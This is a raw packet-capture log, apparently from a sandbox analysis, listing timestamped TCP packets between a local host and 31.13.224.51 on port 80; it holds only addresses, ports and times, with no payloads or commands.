Oct 8, 2024 02:39:02.707514048 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707531929 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707541943 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707549095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707565069 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707566977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707583904 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707600117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707603931 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707614899 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707632065 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707638025 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707647085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707663059 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707669020 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.707679987 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.707699060 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708103895 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708121061 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708136082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708151102 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708153009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708168983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708170891 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708185911 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708200932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708213091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708215952 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708230972 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708231926 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708273888 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708273888 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708290100 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708306074 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708321095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708326101 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708337069 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708352089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708363056 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708367109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708383083 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708384037 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708398104 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708415031 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708419085 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708431005 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708446026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708451033 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708462000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708477974 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708478928 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708492994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708508968 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708512068 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.708524942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.708544016 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709072113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709089041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709104061 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709111929 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709120989 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709136963 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709148884 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709151983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709167004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709172010 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709182978 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709198952 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709209919 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709217072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709232092 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709233046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709248066 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709264994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.709271908 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.709299088 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.711855888 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.739372969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739456892 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739510059 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739542961 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739564896 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.739577055 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739609957 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739633083 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.739646912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739653111 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.739913940 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739947081 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.739964008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.739980936 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740022898 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.740031958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740063906 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740096092 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740106106 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.740128040 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740161896 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740170956 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.740199089 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740241051 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.740247965 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740279913 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740310907 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740322113 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.740345001 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740376949 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.740386963 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743402004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743453979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743470907 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743504047 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743536949 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743552923 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743568897 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743602037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743611097 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743635893 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743680000 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743731976 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743822098 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743854046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743865967 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743886948 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743920088 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.743928909 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.743971109 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744003057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744014025 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744035006 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744071960 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744076967 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744106054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744138002 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744151115 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744174004 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744208097 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744216919 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744240999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744283915 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744751930 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744784117 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744817019 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744827986 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744865894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744896889 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744910002 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744930029 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744961977 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.744972944 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.744993925 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.745040894 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.746272087 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.746321917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.746356010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.746376991 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.746387959 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.746421099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.746429920 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.746454000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.746505022 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.746572018 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750474930 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750526905 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750543118 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750576973 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750608921 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750619888 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750639915 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750673056 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750679016 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750706911 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750740051 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750749111 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750768900 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750804901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750813961 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750854015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750885963 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750895977 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750935078 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750962973 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.750976086 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.750996113 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751036882 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.751045942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751077890 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751116037 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.751125097 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751156092 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751188993 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751195908 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.751224041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751256943 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751265049 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.751286983 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751318932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.751326084 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.751965046 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752007008 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.752012968 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752048016 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752079010 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752088070 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.752111912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752142906 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752151012 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.752175093 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752213001 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.752868891 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752899885 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752945900 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.752949953 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.752981901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753020048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753030062 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753078938 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753110886 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753122091 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753143072 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753175020 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753182888 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753221989 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753257036 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753268003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753305912 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753338099 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753345966 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753386021 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753417969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753426075 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753448963 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753479958 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753488064 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753511906 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753546953 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753551006 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753576994 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753609896 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753617048 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.753639936 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753673077 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.753684044 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.766648054 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766680002 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766716003 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766716957 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.766762018 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.766849041 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766880035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766911030 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766921997 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.766943932 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.766992092 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.829900026 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.829942942 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.829978943 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830013037 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830095053 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830127954 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830130100 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.830131054 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.830161095 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830195904 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830199003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.830231905 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.830694914 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830749035 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830784082 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830796003 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.830862999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830894947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830908060 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.830945015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830976009 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.830988884 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.831026077 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831058979 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831072092 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.831091881 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831124067 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831132889 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.831156969 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831188917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831198931 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.831222057 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.831263065 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.833812952 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.833841085 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.833890915 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.833897114 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.833923101 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.833955050 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.833969116 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.833987951 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834019899 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834029913 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834059000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834108114 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834285975 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834336996 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834368944 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834381104 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834445000 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834477901 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834496021 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834511042 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834542990 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834552050 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834593058 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834620953 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834642887 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834651947 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834693909 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834702015 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834734917 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834767103 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834788084 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834798098 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834830999 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834836960 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.834858894 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.834904909 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.835370064 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835438013 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835472107 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835481882 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.835504055 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835536003 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835551023 CEST	49730	80	192.168.2.4	31.13.224.51
Oct 8, 2024 02:39:02.835567951 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835602045 CEST	80	49730	31.13.224.51	192.168.2.4
Oct 8, 2024 02:39:02.835608959 CEST	49730	80	192.168.2.4	31.13.224.51
